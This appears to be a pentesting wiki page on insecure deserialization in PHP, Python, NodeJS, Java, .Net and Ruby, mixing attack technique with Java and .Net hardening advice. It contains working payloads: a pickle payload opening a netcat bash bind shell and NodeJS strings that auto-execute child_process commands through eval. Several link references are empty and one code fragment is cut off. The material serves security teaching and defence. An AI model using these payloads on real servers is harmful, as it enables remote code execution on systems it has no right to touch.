Deserialization

Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications.

Deserialization is the reverse of that process, taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.

In many occasions you can find some code in the server side that unserialize some object given by the user. In this case, you can send a malicious payload to make the server side behave unexpectedly.

You should read: for learn how to attack.

PHP

Magic method used with serialization:

__sleep is called when an object is serialized and must be returned to array

Magic method used with deserialization

__wakeup is called when an object is deserialized.
__destruct is called when PHP script end and object is destroyed.
__toString uses object as string but also can be used to read file or more than that based on function call inside it.

<?php
class test {
    public $s = "This is a test";
    public function displaystring(){
        echo $this->s.'<br />';
    }
    public function __toString()
    {
        echo '__toString method called';
    }
    public function __construct(){
        echo "__construct method called";
    }
    public function __destruct(){
        echo "__destruct method called";
    }
    public function __wakeup(){
        echo "__wakeup method called";
    }
    public function __sleep(){
        echo "__sleep method called";
        return array("s"); #The "s" makes references to the public attribute
    }
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called__destruct method called
php > $o->displaystring();
This is a test<br />
php > $ser=serialize($o);
__sleep method called
php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
php > $unser=unserialize($ser);
__wakeup method called__destruct method called
php > $unser->displaystring();
This is a test<br />
*/
?>

If you look to the results you can see that the functions __wakeup and __destruct are called when the object is deserialized. Note that in several tutorials you will find that the __toString function is called when trying yo print some attribute, but apparently that's not happening anymore.

PHPGGC (ysoserial for PHP)

phar:// metadata deserialization

If you have found a LFI that is just reading the file and not executing the php code inside of it, for example using functions like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). You can try to abuse a deserialization occurring when reading a file using the phar protocol. For more information read the following post:

Python

Pickle

When the object gets unpickle, the function \_reduce___ will be executed. When exploited, server could return an error.

import pickle, os, base64
class P(object):
    def __reduce__(self):
        return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

For more information about escaping from pickle jails check:

NodeJS

`proto` and `prototype` pollution

If you want to learn about this technique take a look to the following tutorial:

This library allows to serialise functions. Example:

var y = {
 "rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);

The serialised object will looks like:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

You can see in the example that when a function is serialized the _$$ND_FUNC$$_ flag is appended to the serialized object.

Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.

As you may see in the last chunk of code, if the flag is found eval is used to deserialize the function, so basically user input if being used inside the eval function.

However, just serialising a function won't execute it as it would be necessary that some part of the code is calling y.rce in our example and that's highly unlikable. Anyway, you could just modify the serialised object adding some parenthesis in order to auto execute the serialized function when the object is deserialized. In the next chunk of code notice the last parenthesis and how the unserialize function will automatically execute the code:

var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);

As it was previously indicated, this library will get the code after_$$ND_FUNC$$_ and will execute it using eval. Therefore, in order to auto-execute code you can delete the function creation part and the last parenthesis and just execute a JS oneliner like in the following example:

var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);

The interesting difference here is that the standard built-in objects are not accessible, because they are out of scope. It means that we can execute our code, but cannot call build-in objects’ methods. So if we use console.log() or require(something), Node returns an exception like "ReferenceError: console is not defined".

However, we can easily can get back access to everything because we still have access to the global context using something like this.constructor.constructor("console.log(1111)")();:

funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)

The package doesn’t include any deserialization functionality and requires you to implement it yourself. Their example uses eval directly. This is the official deserialisation example:

function deserialize(serializedJavascript){
  return eval('(' + serializedJavascript + ')');
}

If this function is used to deserialize objects you can easily exploit it:

var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

Cryo library

In the following pages you can find information about how to abuse this library to execute arbitrary commands:

Java - HTTP

The main problem with deserialized objects in Java is that deserialization callbacks were invoked during deserialization. This makes possible for an attacker to take advantage of that callbacks and prepare a payload that abuses the callbacks to perform malicious actions.

Fingerprints

White Box

Search inside the code for serialization classes and function. For example, search for classes implementing Serializable , the use of java.io.ObjectInputStream or readObject or readUnshare functions.

You should also keep an eye on:

Why

Java LOVES sending serialized objects all over the place. For example:

In HTTP requests – Parameters, ViewState, Cookies, you name it.
RMI – The extensively used Java RMI protocol is 100% based on serialization
RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objects
JMX – Again, relies on serialized objects being shot over the wire
Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come

Prevention

Transient objects

A class that implements Serializable can implement as transient any object inside the class that shouldn't be serializable. For example:

public class myAccount implements Serializable
{
    private transient double profit; // declared transient
    private transient double margin; // declared transient

Avoid Serialization of a class that need to implements Serializable

Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a readObject() method should be declared (with a final modifier) which always throws an exception:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
    throw new java.io.IOException("Cannot be deserialized");
}

Check deserialized class before deserializing it

The java.io.ObjectInputStream class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:

You can change the code that does the deserialization
You know what classes you expect to deserialize

Because this call happens before a readObject() is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.

A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:

public class LookAheadObjectInputStream extends ObjectInputStream {

    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
        super(inputStream);
    }

    /**
    * Only deserialize instances of our expected Bicycle class
    */
    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        if (!desc.getName().equals(Bicycle.class.getName())) {
            throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
        }
        return super.resolveClass(desc);
    }
}

Harden All java.io.ObjectInputStream Usage with an Agent

If you don't own the code or can't wait for a patch, using an agent to weave in hardening to java.io.ObjectInputStream is the best solution. Using this approach you can only Blacklist known malicious types and not whitelist them as you don't know which object are being serialized.

To enable these agents, simply add a new JVM parameter:

-javaagent:name-of-agent.jar

JMS - Java Message Service

Products

There are several products using this middleware to send messages:

Exploitation

So, basically there are a bunch of services using JMS on a dangerous way. Therefore, if you have enough privileges to send messages to this services (usually you will need valid credentials) you could be able to send malicious objects serialized that will be deserialized by the consumer/subscriber. This means that in this exploitation all the clients that are going to use that message will get infected.

You should remember that even if a service is vulnerable (because it's insecurely deserializing user input) you still need to find valid gadgets to exploit the vulnerability.

References

.Net

.Net is similar to Java regarding how deserialization exploits work: The exploit will abuse gadgets that execute some interesting code when an object is deserialized.

Fingerprint

WhiteBox

Search the source code for the following terms:

TypeNameHandling
JavaScriptTypeResolver

Look for any serializers where the type is set by a user controlled variable.

BlackBox

You can search for the Base64 encoded string AAEAAAD///// or any other thing that may be deserialized in the back-end and that allows you to control the deserialized type. For example, a JSON or XML containing TypeObject or $type.

ysoserial.net

The main options of ysoserial.net are: --gadget, --formatter, --output and --plugin.

--gadget used to indicate the gadget to abuse (indicate the class/function that will be abused during deserialization to execute commands).
--formatter, used to indicated the method to serialized the exploit (you need to know which library is using the back-end to deserialize the payload and use the same to serialize it)
--output used to indicate if you want the exploit in raw or base64 encoded. Note that ysoserial.net will encode the payload using UTF-16LE (encoding used by default on Windows) so if you get the raw and just encode it from a linux console you might have some encoding compatibility problems that will prevent the exploit from working properly (in HTB JSON box the payload worked in both UTF-16LE and ASCII but this doesn't mean it will always work).
--plugin ysoserial.net supports plugins to craft exploits for specific frameworks like ViewState

More ysoserial.net parameters

--minify will provide a smaller payload (if possible)
--raf -f Json.Net -c "anything" This will indicate all the gadgets that can be used with a provided formatter (Json.Net in this case)
--sf xml you can indicate a gadget (-g)and ysoserial.net will search for formatters containing "xml" (case insensitive)

#Send ping

        });
        return obj;
    }

In the previous code is vulnerable to the exploit created. So if you find something similar in a .Net application it means that probably that application is vulnerable too. Therefore the --test parameter allows us to understand which chunks of code are vulnerable to the desrialization exploit that ysoserial.net can create.

Prevention

Don't allow the datastream to define the type of object that the stream will be deserialized to. You can prevent this by for example using the DataContractSerializer or XmlSerializer if at all possible.

Where JSON.Net is being used make sure the TypeNameHandling is only set to None.

TypeNameHandling = TypeNameHandling.None

If JavaScriptSerializer is to be used then do not use it with a JavaScriptTypeResolver.

If you must deserialise data streams that define their own type, then restrict the types that are allowed to be deserialized. One should be aware that this is still risky as many native .Net types potentially dangerous in themselves. e.g.

System.IO.FileInfo

FileInfo objects that reference files actually on the server can when deserialized, change the properties of those files e.g. to read-only, creating a potential denial of service attack.

Even if you have limited the types that can be deserialised remember that some types have properties that are risky. System.ComponentModel.DataAnnotations.ValidationException, for example has a property Value of type Object. if this type is the type allowed for deserialization then an attacker can set the Value property to any object type they choose.

Attackers should be prevented from steering the type that will be instantiated. If this is possible then even DataContractSerializer or XmlSerializer can be subverted e.g.

// Action below is dangerous if the attacker can change the data in the database
var typename = GetTransactionTypeFromDatabase();  

var serializer = new DataContractJsonSerializer(Type.GetType(typename));

var obj = serializer.ReadObject(ms);

Execution can occur within certain .Net types during deserialization. Creating a control such as the one shown below is ineffective.

var suspectObject = myBinaryFormatter.Deserialize(untrustedData);

//Check below is too late! Execution may have already occurred.
if (suspectObject is SomeDangerousObjectType)
{
    //generate warnings and dispose of suspectObject
}

For BinaryFormatter and JSON.Net it is possible to create a safer form of white list control using a custom SerializationBinder.

Try to keep up-to-date on known .Net insecure deserialization gadgets and pay special attention where such types can be created by your deserialization processes. A deserializer can only instantiate types that it knows about.

Try to keep any code that might create potential gadgets separate from any code that has internet connectivity. As an example System.Windows.Data.ObjectDataProvider used in WPF applications is a known gadget that allows arbitrary method invocation. It would be risky to have this a reference to this assembly in a REST service project that deserializes untrusted data.

Ruby

Ruby has two methods to implement serialization inside the marshal library: first method is dump that converts object into bytes streams (serialize). And the second method is load to convert bytes stream to object again (deserialize). Ruby uses HMAC to sign the serialized object and saves the key on one of the following files:

config/environment.rb
config/initializers/secret_token.rb
config/secrets.yml
